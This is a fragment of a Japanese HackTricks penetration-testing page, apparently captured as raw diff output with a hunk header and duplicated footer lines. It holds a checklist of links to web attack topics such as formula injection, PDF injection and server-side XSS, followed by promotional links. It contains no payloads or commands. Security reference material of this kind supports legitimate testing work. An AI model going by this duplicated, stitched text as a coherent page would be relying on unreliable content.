* [ ] [**ファイルのアップロード**](../file-upload/)
* [ ] [**数式インジェクション**](../formula-doc-latex-injection.md)
* [ ] [**数式インジェクション**](../formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDFインジェクション**](../xss-cross-site-scripting/pdf-injection.md)
* [ ] [**サーバーサイドXSS**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
@ -141,9 +141,9 @@ Webサーバーが提供するHTTPヘッダーによって、いくつかの脆
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**